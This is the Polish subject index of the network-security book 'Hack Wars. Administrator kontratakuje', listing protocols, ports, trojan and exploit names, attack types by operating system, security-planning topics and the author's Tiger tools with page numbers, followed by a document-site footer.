Java, 117, 148, 301, 381
JavaScript, 148, 301, 302
jednostka obsługi danych, 306
Juggernaut for Linux, 198

K

kapsułkowanie, 312
karta bankomatowa, 281
karta sieciowa, 198

tryb podsłuchowy, 199
tryb usuwania błędów, 199

Kazimas, 106
kernel16.dll, 108
kernel16.exe, 108
Kevin Mitnick, 158
KeyInterceptor, 174
kill, 310
klucz szyfrowy, 295
kolizja, 316, 386
komutowane połączenie, 265
koncentrator, 387
kontrola dostępu publicznego, 284
kontrola kierownicza, 267
kontrola obsługi oprogramowania, 277

dokumentacja, 279
kontrola ważności i integralności danych, 278
szkolenia, 279
znajomość zabezpieczeń, 279

kontrola operacyjna, 273, 286

aplikacja główna, 273
archiwizacja, 290
awaria systemów obsługi, 274, 288
bezpieczeństwo personelu, 273, 286
czynniki ryzyka pożarowego, 274
dokumentacja, 292
kontrola dostępu, 274

kontrola integralności, 291
kontrola obsługi sprzętu, 290
kontrola produkcyjna, 275, 288
kontrola wejścia i wyjścia, 275, 288
obsługa użytkowników, 275
ochrona fizyczna, 274
ochrona fizyczna i środowiskowa, 287
ochrona środowiskowa, 274
planowanie awaryjne, 276, 289
przechwycenie danych, 275, 288
systemy mobilne, 275, 288
znajomość zabezpieczeń, 292

kontrola produkcyjna, 275
kontrola techniczna, 280

identyfikacja, 280, 294
logiczna kontrola dostępu, 296
ś

ledzenie śladów, 298

uwierzytelnianie, 280, 294, 295

kontrola zajętości bufora, 386
koń trojański, 63, 380, 388

samodzielne usuwanie, 99

Kookaburra Software Cookie Pal, 167
korekcja błędów, 390
Krajowe Centrum Zabezpieczenia Komputerów, 6
księga gości, 354

L

L0phtCrack, 195
lamer, 63
Lamer, 380
LAN, 39, 157, 261, 264, 388
LAN Catalyst 2900XL, 231
licznik rekordów, 278, 292, 374
Limit Software Cookie Crusher 2.6, 167
limity czasu, 316
linia modemowa, 264
linkage.c, 240
Linux, 240

restart systemu, 240
zdalny atak na powłokę, 240
zdalny atak roota, 240

lista kontroli dostępu, 27, 152
LiveUpdate, 117, 214
ljsgz.exe, 110
lmdrk_33.dll, 108
Loader.asm, 381
Local Area Network, 388
LockDown 2000, 117
loc-serv, 10, 59
logiczna kontrola dostępu, 282, 296
login, 10
login.mdb, 140, 381

background image


Skorowidz

403

403

lokalizacja portów otwartych, 63
lokalni użytkownicy, 163
LookSmart, 351
Lotus Domino, 233

zdalny atak, 233

Lycos, 351

Ł

łamanie haseł, 161, 194, 241

L0phtCrack, 195

łącza

dzierżawione, 162
WAN, 162
wirtualne, 388

M

MAC, 40, 253, 386
mail bombing, 37, 161
Mail Exchange, 37
MailSafe, 119
manipulacja dziennikami, 161
Master UNIX, 5
MAU, 388
Maximum Transfer Unit, 388
McAfee, 213
McAfee Internet Security 4.0, 167
mechanizmy ochrony przed włamaniami, 161

bombardowanie poczty, 191
cookies, 166
łamanie haseł, 194
manipulacja dziennikami, 173
podsłuch, 197
podszywanie się, 211
przepełnianie, 167
spamowanie, 191
tylne drzwi, 162
wewnętrzne implanty, 165
wirtualna kontrola połączenia, 162
wirus, 212

media telekomunikacyjne, 290
memory.exe, 109
menedżer cookies, 167
Microsoft Internet Information Server, 234

atak DoS, 234
defraudacja kodu ASP, 234
ladowanie konia trojańskiego, 235

Microsoft Windows, 241

atak DoS, 247
FFK.exe, 249
HDKill.bat, 248
kradzież hasła, 248

łamanie haseł, 241
nieodwracalne usunięcie plików, 249
podsłuchiwanie plików haseł, 244
poważne przeciążenie, 248
przejęcie kontroli nad systemem, 248
usunięcie danych z dysku twardego, 248
uzyskanie przywilejów administratora, 249
zawieszanie systemu, 245
złamanie hasła, 249

milbug_a.exe, 106
Millenium, 113
model OSI, 387
modyfikacja nazwy rejestracyjnej domeny, 137
monitorowanie, 271

poczty, 212, 213

monitorowanie skuteczności, 259
mprdll.exe, 107
mprexe.exe, 112
mschv32.exe, 111
msgsrv36.exe, 112
msgsvr32.exe, 107
MsWind32.drv, 106
MTU, 12, 388
MUD, 355
multipleksowanie, 388
multiplexing, 388
Multistation Access Unit, 388
MX, 37

N

NASK, 136
nasłuch, 10
NAT, 38, 118, 230
National Institute of Standards Technology, 257
nbdatagram, 10, 59
nbname, 10, 59
nbsession, 10, 59
NCSC, 6
Nestea, 225
NetBEUI, 388
NetBIOS, 59, 211, 388
NetBIOS Extended User Interface, 388
NetBus, 97
NetBus Detective, 97, 380
NetBus Protection System, 97, 380
NetBus/2/Pro, 112
netpopup.exe, 108
Netscape, 351
Netscape Enterprise Server, 235

badanie struktury, 235
przepełnienie bufora, 235

netscape.hst, 173

background image


404

Hack Wars. Administrator kontratakuje

404

NetScreen, 252, 254

przepełnienie DoS, 254

NetServer 8/16, 225, 226
NetSphere, 113
netstat, 10, 12
NetWare, 250
NetWare NDS, 251
network address translation, 38
Network Basic Input/Output System, 388
Network ICE, 115, 255
network information service, 59
nieautoryzowany dostęp, 283
NIS, 59
niska przepustowość, 304
NIST, 6, 257
nmap, 76
no()ne, 214
nodll.exe, 108
Nortel/Bay, 225, 232

przepełnianie, 232

Norton Antivirus, 213
Norton Internet Security, 117
notpa.exe, 108
Novell GroupWise Enhancement Pack, 236
Novell Netware, 250

kradzież praw nadzorcy, 250
odkrycie haseł, 250
przejęcie kontroli nad systemem, 251

Novell Web Server, 235

atak DoS, 236
zbieranie informacji, 236
zdalne przepełnienie, 236

NPS, 97
nssx.exe, 113
NTAdmin.exe, 249
ntalk, 10
NTCrack.exe, 249
Nuke, 117
numer identyfikacyjny PIN, 281

O

O’Reilly WebSite Professional, 237

atak DoS, 237

obsługa użytkowników, 275
ochrona fizyczna, 274
ODBC, 302, 339
odwrotne zapytania DNS, 40
ograniczanie zapytań sesji usługi, 169
okablowanie, 300
olemon32.exe, 112
Open Systems Interconnection, 389
Oracle, 173

OS/2, 251

Tunelowanie, 251

OSI, 387, 389
osłona TCP, 26
osłonięcie, 26
ostatnio odwiedzane witryny, 149

P

pakiet, 389
Palm Pilot Pro, 225, 227
Państwowy Instytut Standaryzacji i Technologii,

257

passwd, 17
password shadowing, 195
password.mdb, 141
patch.exe, 109, 113
PC, 115
PC Anywhere, 300
PC Optimization Kit, 5
pddt.dat, 106
Permanent Virtual Circuit, 306, 390
phAse Zero, 107
phreak, 7, 389
PIN, 281, 295
PING, 151
PIX, 157, 231, 252, 254
planowanie awaryjne, 276
planowanie zabezpieczeń w cyklu życia, 269

administracja, 271
faza działania, 271
faza implementacji, 270
faza inicjacji, 269
faza obsługi, 271
faza przejęcia, 269
faza rozwoju, 269
faza usuwania, 271
kontrola, 271
zapewnienie działania, 271

Plug and Play, 101
pluginy, 148
płyta CD, 345
poczta elektroniczna, 7, 191

blokowanie, 194
bomby pocztowe, 191
sortowanie, 194
spamowanie, 191
sprawdzanie, 194
uwierzytelnianie, 194

podpis cyfrowy, 285
podsłuch, 197
podsłuchiwanie pakietów, 161, 173
podstawowy interfejs prywatności, 212

background image


Skorowidz

405

405

podszywanie się, 161, 211

pod adres IP, 302

point of presence, 149
Point-to-Point Protocol, 389
połączenia

anonimowe, 16
komutowane, 162
systemu, 265

POP, 58, 149, 389
pop2, 10
pop3, 10
POP3, 194, 303
Port Session Sniffer, 119
Port Watcher, 382
Portal of Doom, 110
portmap, 10, 59
porty specjalne, 389
porty standardowe, 389
porty ukryte, 9, 61
porty zarezerwowane, 9, 10

bootp (67), 40
chargen (19), 12
domain (53), 39
echo (7), 11
finger (79), 57
FTP (21), 13
HTTP (80), 57
loc-serv (135), 59
nbdatagram (138), 59
nbname (137), 59
nbsession (139), 59
netstat (15), 12
POP (109-110), 58
portmap (111), 59
SMTP (25), 37
SNMP (161), 59
systat (11), 12
talk (517-518), 60
telnet (23), 25
TFTP (69), 41
UUCP (540), 61
zabezpieczanie, 10

porty znane, 9
Post Office Protocol, 58, 389
poświadczenie, 385
poziom błędów, 389
PPP, 389
prefs.js, 173
priocol.exe, 105
Priority, 111
procedury szkolenia użytkowników, 295
procedury zarządzania kluczem szyfrowym, 297
proces zarządzajacy demonami, 10
procesy systemowe, 10

ProgenicMail.zip, 249
programy oczyszczające system, 96

AntiGen, 96
BoDetect, 96
NetBus Detective, 97
NetBus Protection System, 97
Tauscan, 97
The Cleaner, 98
Trojan Remover, 98

projekt witryny internetowej, 138
Promiscious Mode, 389
Promiscuos Mode, 198
Prosiak, 113
prosiak.exe, 113
prosty protokół zarządzania siecią, 59
protokoły, 389

FTP, 13
HTTP, 57, 223
POP, 58
POP3, 194
RIP, 311
SMTP, 37
Talk, 60
TCP/IP, 162
UUCP, 61

protokół informowania o trasach, 60
protokół kopiowania między systemami UNIX, 61
proxy, 7, 63, 151, 162, 223, 224
próby atakowania sieci, 57
prywatne sieci wirtualne, 61, 205
przechwytywanie ekranu, 344
przeciążenie potoku haseł, 227
przeglądarka WWW, 39, 148

zainstalowane wtyczki, 148

przejęcie sesji Telnetu, 198
przekierowanie hosta, 304
przełącznik, 205
przepełnianie, 40, 161

portów zarezerwowanych, 167

przetwarzanie skryptów CGI, 58
pserver.exe, 111
publiczna sieć danych, 264
PVC, 306, 388, 390

R

ramka, 390
Raptor, 252, 255

atak DoS, 255

RARP, 390
Rasmin, 106
rasmin.exe, 107
RAT, 110

background image


406

Hack Wars. Administrator kontratakuje

406

Reachout, 300, 304
redukcji ryzyka, 265
redundancja dzienników, 173
regedit, 100
regedit.exe, 11
regedt32, 100
rejestr systemu Windows, 10

bieżąca konfiguracja sprzętowa, 101
dane dotyczące zalogowanego użytkownika,

100

dane dynamiczne, 101
HKEY_CLASSES_ROOT, 100
HKEY_CURRENT_CONFIG, 101
HKEY_CURRENT_USER, 100
HKEY_DYN_DATA, 101
HKEY_LOCAL_MACHINE, 101
HKEY_USERS, 101
ustawienia oprogramowania, 100

rekord wymiany poczty, 37
Remote Grab, 112
replikacja, 390
results.dll, 107
retransmisja pliku, 304
Reverse Address Resolution Protocol, 390
rexec(), 60
RIP, 60, 311
RIPE, 387
rmaapp.exe, 110
Robo-Hack, 111
robo-serv.exe, 111
root, 237, 383
route, 10
router

3Com, 152
Cisco, 152, 169
dostępowy, 38
Intel Express, 157

Router SSR 8000, 228
Route-Switch Module, 230
routing dynamiczny, 388
Routing Information Protocol, 60, 311
rozgłaszanie, 172
rozpoznanie, 390
RPC, 59, 239
RPG, 5
RSM, 230
RST, 391
rtelnet, 163
runme.exe, 109

S

samodzielne usuwanie koni trojańskich, 99

Acid Shivers, 112
AntiGen, 105
AOL Trojan, 113
Attack FTP, 107
Back Construction, 105, 107
Back Orifice, 114
BackDoor, 108
BLA, 107
Blade Runner, 105
BrainSpy, 112
Bubbel, 110
Bugs, 109
Cain & Abel, 107
Coma, 112
Deep Throat, 106
Delta Source, 114
Devil, 114
Digital RootBeer, 109
Doly Trojan, 107
Eclipse, 110
Email Password Sender, 105
Executor, 106
File Nail, 110
Firehotker, 106
Fore, 105
FTP99CMP, 108
GateCrasher, 111
GirlFriend, 113
Hack’99 KeyLogger, 112
Hack'a'Tack, 114
Illusion Mailer, 109
InCommand, 112
Invisible FTP, 105
JammerKillah, 106
Kazimas, 106
lista portów, 104
Millenium, 113
NetBus/2/Pro, 112
NetSphere, 113
phAse Zero, 107
Portal of Doom, 110
Priority, 111
Prosiak, 113
Rasmin, 106
RAT, 110
Remote Grab, 112
Robo-Hack, 111
Shit Heep, 111
shockrave, 108
Shtrilitz, 105
Sockets de Troie, 110
Spirit, 114
Stealth, 105
Striker, 109

background image


Skorowidz

407

407

struktura rejestru, 100
SubSeven, 108
Tapiras, 105
The Invasor, 109
The Spy, 114
The tHing, 111
Tiny Telnet Server, 105
Transmission Scout, 108
Trojan Cow, 109
Ultors Trojan, 108
VooDoo Doll, 108
WinPC, 106

SAP, 390
SC3640, 229
scentralizowany system zarządzania, 116
schemat adresowania IP/IPX, 302
schemat hasła systemu operacyjnego, 194
SCO, 252

dostęp roota POP, 252

SCOPOP, 252
server.exe, 105, 106, 108, 110, 112
servers.exe, 109
Service Advertisement Protocol, 390
Service Pack, 245
serv-u.ini, 107, 108
serwer

MUD, 355
nazw domen, 37
plików, 390
RPC, 59
Tiger Web, 354

sesja anonimowa, 41
SGI, 240
shareware, 277
shell, 10
Shit Heep, 111
shockrave, 108
Shtrilitz, 105
sieciowa usługa informacyjna, 59
sieć

komunikacji, 262
LAN, 157
lokalna, 264
rozległa, 147, 264, 298
szkieletowa, 136, 262

Simple Mail Transfer Protocol, 37
Simple Network Management Protocol, 59, 391
Simple TCP/IP Services, 12
Site Forbidden, 350
skanowanie, 390

antywirusowe, 278
fragmentacyjne, 390
lokalizacji, 301
połówkowe, 391

portów, 9
portów lokalnych, 62
TCP (pełne), 390
TCP FIN, 391
TCP SYN, 391
UDP ICMP_PORT_UNREACH, 391
UDP recvfrom() oraz write(), 391
wewnętrzne, 391
zabezpieczeń, 344
zakresu adresów IP, 151

skrypt logowania, 139
smack.c, 238
SmartSwitch Router, 228
SMTP, 10, 37, 303
SMTP-NAT, mechanizm, 38
SMTP-NAT-DMZ, 38, 39, 57, 214
SNA, 265
sniffer, 173, 197, 302, 391
SNMP, 10, 59, 138, 391
Sockets de Troie, 110
Solaris, 10, 252

dostęp roota, 252

spamming, 37
spamowanie, 161, 191
Spirit, 114
spoofing, 40, 161
spool64.exe, 105
SQL, 173, 318
SSR, 228
stacja robocza, 301
stałe kanały wirtualne, 306
status

logowania, 173
operacyjny, 173
operacyjny systemu, 263

Stealth, 105
Stealth Activity Recorder and Reporter, 174
STeRoiD, 205
strefa ograniczonego dostępu, 118
strefa zdemilitaryzowana, 38
Striker, 109
struktura rejestru, 100
strumień, 391

połączenia, 41

SubSeven, 108
suid root, 239
Sun Microsystems, 158
SunOS, 10
SuperStack II 2200, 226
SVC, 388, 391
Switched Virtual Circuit, 391
sygnatury wirusów, 214
Symantec Firewall, 255
synchronizowanie numerów sekwencyjnych, 10

background image


408

Hack Wars. Administrator kontratakuje

408

Synlogger, 391
sysedit.exe, 113
syslog, 10
systat, 10, 12
system ogólnego wsparcia, 286

kontrola operacyjna, 286
kontrola techniczna, 294

system operacyjny, 224

AIX, 237
atak DoS, 239
BSD, 238
HP/UX, 239
IRIX, 239
Linux, 240
Microsoft Windows, 241
Novell Netware, 250
OS/2, 251
SCO, 252
Solaris, 252

system password debug, 226
system.exe, 111
system.ini, 11, 100
systemtr.exe, 109
systray.exe, 106, 114
syswindow.exe, 109
szablony zasad bezpieczeństwa, 299
szkolenia, 292
szperacz, 197
szpiegostwo, 309
szyfrowanie, 205, 283, 297

128-bitowe, 381
Blowfish, 195
DES, 195

Ś

ś

ledzenie odbioru ważnych danych, 275

ś

ledzenie śladów, 285, 298

ś

lepe testowanie, 339

ś

rodowisko systemu, 264

T

t5port.exe, 108
tablica ogłoszeniowych, 355
talk, 10
Tapiras, 105
tapiras.exe, 106
Tauscan, 97
TCP, 10, 167, 392
TCP Maximum Incomplete Sessions per Host,

170

Tcp wrappers, 379

TCP wrappers, 26
TCP/IP, 162
tcp_wrapper, 26
tcpd, 26
techniki kryptograficzne, 205
techniki skanowania CGI, 214
technologia informatyczna, 258
telnet, 7, 10, 25, 162, 168, 225, 310

osłona TCP, 26

terminal, 173, 282
tesk.exe, 107
testy

penetracji, 300, 301
podszywania się pod adres IP, 300
przepełnienia IP, 302
spamu, 303

TFTP, 10, 41
TFTPServ.ini, 17
The Cleaner, 98
The Invasor, 109
The Spy, 114
The tHing, 111
thing.exe, 111
three-way handshake, 10
Thunderstone, 351
Tiger FTP, 17
Tiger Inspect, 76
Tiger Team, 7, 223
Tiger Telnet, 28
Tiger TFTP, 41
Tiger Web, 354
TigerBlock, 344, 350
TigerCrypt, 196, 381
TigerFTPServ, 17, 379
TigerGuard, 119, 349, 380

Intrusion Sniffer, 119
Port Session Sniffer, 119

TigerGuard.ini, 120
TigerInspect, 380
TigerLog, 381
TigerPass, 381
TigerPass ASP, 141
TigerSearch, 344, 351
TigerSuite, 305
TigerSurf, 343, 382

bezpieczna usługa FTP, 352
bezpieczny telnet, 352
edytor HTML, 348
ekran logowania, 344
główny moduł, 345
Image Viewer, 353
Personal Links, 346
przeglądarka zdjęć, 353
Screen Capture, 353

background image


Skorowidz

409

409

Secure E-mail, 347
Secure FTP, 347, 352
Secure telnet, 347
skanowanie zabezpieczeń, 350
strona domowa, 347
TigerSearch the Internet, 347
TigerTalk, 348
TigerTrack the market, 347
TigerWatch, 347
zaawansowane opcje internetowe, 347
zrzuty ekranowe, 353

TigerTelnetServ, 28, 379
TigerTFTPServ, 41, 379
TigerTrack, 344, 352
TigerWatch, 11, 57, 104, 344, 349

domyślna lista zasad, 349

TigerWebServer, 58
TigerWipe, 199, 380
Tiny Telnet Server, 105
token, 281, 295
Token Ring, 312
Total Control NETServer v.34/ISDN, 226
traceroute, 136
translacja adresów sieciowych, 38
translacja nazw na adresy IP, 39
transmisja

asynchroniczna, 392
bitowa, 390
synchroniczna, 392
w postaci okien, 392

Transmission Control Protocol, 392
Transmission Scout, 108
trasowanie, 311
trojan, 392
Trojan Cow, 109
Trojan Remover, 98
trójstopniowa wymiana potwierdzeń, 10
tryb podsłuchowy, 198
tunel, 212
tylne drzwi, 161

ochrona, 162

typ przeglądarki, 148

U

ubr7200, 229
UDP, 10, 167, 392
Ultors Trojan, 108
unikalna identyfikacja, 280, 294
UNIX, 10, 57, 76, 162
UNIX-to-UNIX Copy Protocol, 61, 392
update.exe, 111
upgrade.exe, 107

uprzywilejowane punkty dostępowe, 302
URL, 57, 174
User Datagram Protocol, 392
Users.ini, 28
usługa

traceroute, 136
Whois, 135

usługodawca internetowy, 37
uucp, 10
UUCP, 61, 392
uwierzytelnianie, 211, 280, 281, 294, 295

cechy biometryczne, 295
hasło, 295
token, 295

V

Variable-Length Subnet Masking, 392
VB, 139
VBScript, 148
Virtual Private Network, 205
Virtual Private Networks, 61
Visual Basic, 63
VLSM, 392
Voice Gateway, 229
VooDoo Doll, 108
VPN, 61, 116, 205
VS-3 Access Solutions, 229

W

WAN, 162, 264, 284, 352, 392
wariancja, 286
wdrożenie zabezpieczeń, 338
Web page hack, 57
Web Publishing, 235
well-known ports, 9, 10
weryfikacja poprawności danych, 386
wewnętrzne implanty, 165
Whois, 135, 192
Wide Area Network, 392
wielostrumieniowy mechanizm przeszukiwania,

343

win.ini, 11, 100
windll.exe, 113
Windll.exe, 105
windll16.exe, 108
windll32.exe, 113
windown.exe, 114
Windows, 162
Windows 2000, 211
Windows 9x, 98
Windows NT/2000, 57

background image


410

Hack Wars. Administrator kontratakuje

410

windows.exe, 108
WinGate, 252, 255

atak DoS, 255

WinLock, 241, 382
WinPC, 106
winpc.exe, 106
winprotecte.exe, 105
WINS, 59
Winsock1, 76
winsrvc.exe, 107
winstat.exe, 105
wirtualna kontrola połączenia, 162

filtry urządzeń dostępowych Cisco, 162

wirus, 117, 161, 212

aktywacja, 212
aktywne skanowanie, 212
manipulacja, 212
replikacja, 212
włamania na strony internetowe, 214

witryna internetowa, 138, 343
włamania na strony internetowe, 214
właściwości połączenia sieciowego, 13
World Wide Web, 7, 57
wrap, 169
wrapper, 57
wrapping, 26
wscan.exe, 107
wspool.exe, 107
współdzielenie informacji, 265
wtching.dll, 108
wver.dll, 107
WWW, 57
wygaszacz ekranu, 241
wykorzystanie pasma, 315
wykrywanie błędów, 392

X

xDSL, 162, 354
X-Window, 60

Y

Yahoo!, 351

Z

zabezpieczanie portów, 9

ukrytych, 96

zabezpieczenia głównej aplikacji, 357

długość hasła, 365
dokumentacja, 364
faza działania i obsługi, 360

faza implementacji, 360
faza inicjacji, 360
faza rozwoju i przejęcia, 360
faza usuwania, 360
identyfikacja, 364
identyfikacja systemu, 357
informacje kontaktowe, 357
kontrola dostępu publicznego, 366
kontrola kierownicza, 359
kontrola obsługi oprogramowania, 363
kontrola operacyjna, 361
kontrola produkcyjna, 361
kontrola techniczna, 364
kontrola ważności danych, 363
logiczna kontrola dostępu, 365
planowanie awaryjne, 362
połączenia systemu, 358
procedury zmiany hasła, 365
przegląd środków kontroli zabezpieczeń, 359
przydział odpowiedzialności za zabezpieczenia,

358

status operacyjny systemu, 358
ś

ledzenie śladów, 367

ś

rodowisko systemu, 358

uwierzytelnianie, 364
zarządzanie ryzykiem, 359
zasady mające wpływ na system, 359

zabezpieczenia systemu ogólnego wsparcia, 367

autoryzacja działania, 371
bezpieczeństwo personelu, 371
długość hasła, 375
dokumentacja, 374
faza działania i obsługi, 371
faza implementacji, 370
faza inicjacji, 370
faza rozwoju i przejęcia, 370
faza usuwania, 371
hash, 374
identyfikacja, 375
identyfikacja systemu, 367
informacje kontaktowe, 367
kontrola integralności, 374
kontrola kierownicza, 369
kontrola obsługi sprzętu, 373
kontrola operacyjna, 371
kontrola produkcyjna, 372
kontrola techniczna, 375
kontrola wejścia i wyjścia, 372
logiczna kontrola dostępu, 376
plan zapasowy, 373
planowanie zabezpieczeń w cyklu życia, 370
połączenia systemu, 369
procedury zmiany hasła, 375
przydział odpowiedzialności, 368

background image


Skorowidz

411

411

ś

ledzenie śladów, 377

ś

rodki kontroli zabezpieczeń, 369

ś

rodowisko systemu, 368

uwierzytelnianie, 375
zarządzanie ryzykiem, 369
zasady zachowania, 370
znajomość zabezpieczeń, 375

zamrożone klatki, 304
zapewnienie działania, 271
zapora firewall, 115
zasady bezpieczeństwa, 257

analiza systemu, 260
autoryzacja działania, 272
cele planu zabezpieczeń, 259
dostępność, 266
główna aplikacja, 261
granice systemu, 260
identyfikacja systemu, 262
integralność, 266
kategoria systemu, 261
kontrola kierownicza, 267
ocena i zarządzanie ryzykiem, 267
odbiorcy, 260
odpowiedzialność w planie zabezpieczeń, 259
planowanie zabezpieczeń w cyklu życia, 269
plany dla głównych aplikacji, 259
połączenia systemu, 265
poufność, 266
rekomendowany format, 259
system ogólnego wsparcia, 262
ś

rodki kontroli zabezpieczeń, 267

tworzenie planu, 262
wrażliwość obsługiwanych informacji, 265
zasady zachowania, 268

zasady zachowania, 260
zasłanianie, 118
zaszyfrowane sumy kontrolne, 211
zdalna

infiltracja, 161
inspekcja, 301

zdalni użytkownicy, 163
zgłaszanie wypadków naruszenia bezpieczeństwa,

293

złamanie strony WWW, 57
ZoneAlarm Pro, 118
zwodzenie, 40

ś

żą

danie HTTP, 214


Wyszukiwarka

Podobne podstrony:
hack wars 2
Skorowidz tom 2, ☆☆♠ Nauka dla Wszystkich Prawdziwych ∑ ξ ζ ω ∏ √¼½¾haslo nauka, hacking, Hack war,
Skorowidz tom 1, ☆☆♠ Nauka dla Wszystkich Prawdziwych ∑ ξ ζ ω ∏ √¼½¾haslo nauka, hacking, Hack war,
Egzaminy Prawnicze Ministerstwa Sprawiedliwosci 2016 Tom 2 Akta gospodarcze i administracyjne
Star Wars Battlefront Tom 2 Oddział Infrerno Christie Golden

więcej podobnych podstron